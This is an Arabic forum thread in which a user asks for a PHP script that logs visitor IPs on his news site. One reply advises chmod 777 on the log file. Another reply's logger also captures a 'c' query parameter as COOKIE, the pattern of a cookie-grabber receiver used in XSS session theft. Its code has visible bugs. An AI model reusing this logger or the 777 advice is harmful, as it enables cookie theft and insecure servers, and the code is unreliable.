المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : معرفة اي بي زائر الموقع



nice.killer
12-02-2014, 02:00 PM
السلام عليكم اخووتي
اخوكم Nice Killer من فلسطين اعتزلت الهكر لفترة قصيرة و ربما الى فترة طويلة ايضا
انا بصدد عمل موقع اخباري على الأنترنت يهتم بنقل اخبار فلسطين خاصة و اخبار العالم عامة
و كل الذي اريده منكم ومساعدة بسيطة منكم
انا كمدير الموقع و صاحبه اريد سكربت او اي شي يحفظ لي اي بي زائر الموقع حتى يتسنى لي مستقبلا اذا اساء ان أقوم بعمل حظر له من دخول الموقع

فأريد اي شي يقوم بحفظ اي بي اي زائر يدخل الموقع

hacker@dz
12-02-2014, 04:30 PM
وعليكم السلام اخي ممكن تجرب هذه الطريقة
اعمل ملف مثلاً باسم ip.php يحتوي التالي
<?php

// Checks the current date and time
$dateTime = date('Y/m/d G:i:s');

// Loads the writable text file and await instruction from fwrite command
$fp = fopen('ip-log.txt', 'r+');

while (!feof($fp))
{
$buffer = fgets($fp);
// Scan for any previous logs of the IP
// If scan determines that the user is a logged IP address, overwrite existing log.
list ($ip, $crap) = split(' ', $buffer);
if ($_SERVER['REMOTE_ADDR'] == trim($ip))
$exists = TRUE;
}
// If scan determines it's user is a new IP entry, add the IP address to the log file at the end of the document
if (!$exists)
fwrite($fp, $_SERVER['REMOTE_ADDR']. " $dateTime\n");
fclose($fp);
قم بعمل ملف باسم ip-log.txt في نفس المجلد وقم باعطاءه التصاريح 777 ليسمح بكتابة المعلومات للزوار
جرب هذه الطريقه

nice.killer
12-03-2014, 01:06 AM
للأسف أخي جربتها ما نفعت

shhaby
12-03-2014, 06:13 PM
​تم النقل للقسم المناسب ... بالتوفيق

jok17
12-13-2014, 10:54 AM
<?php

function GetIP(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

function logData(){
$cookie = $_GET['c'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals){
$ip = getenv('REMOTE_ADDR');
}else{
$ip = GetIP();
}
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)){
file_put_contents("jok.txt", "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie",FILE_APPEND);
}else{
file_put_contents("jok.txt", "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n",FILE_APPEND);
}
}

logData();

?>



هذا الكود من صنعي اخي و هو شغال 1000%
تحقنو في اخر الاندكس تبع الموقع و النتيجة تكون في ملف اسمو jok.txt

هو يسحب ال :

IP: الابي
PORT: البورت
HOST: السرفر
Agent: المتصفح
REF: مكان الدخول
COOKIE: الكوكيز

بالتوفيق حبيبي

تحياتي جوك jok 17

nassir0
12-14-2014, 01:42 PM
بالتوفيق حبيبي

nice.killer
12-17-2014, 07:44 PM
مشكووووووووووووووووووووور أخوي jok17
ضبط الكود 100%

TheWhiteEath
12-18-2014, 01:57 PM
بارك الله فيك

jok17
12-19-2014, 04:54 PM
مشكووووووووووووووووووووور أخوي jok17
ضبط الكود 100%

لا شكر علئ وااااااااجب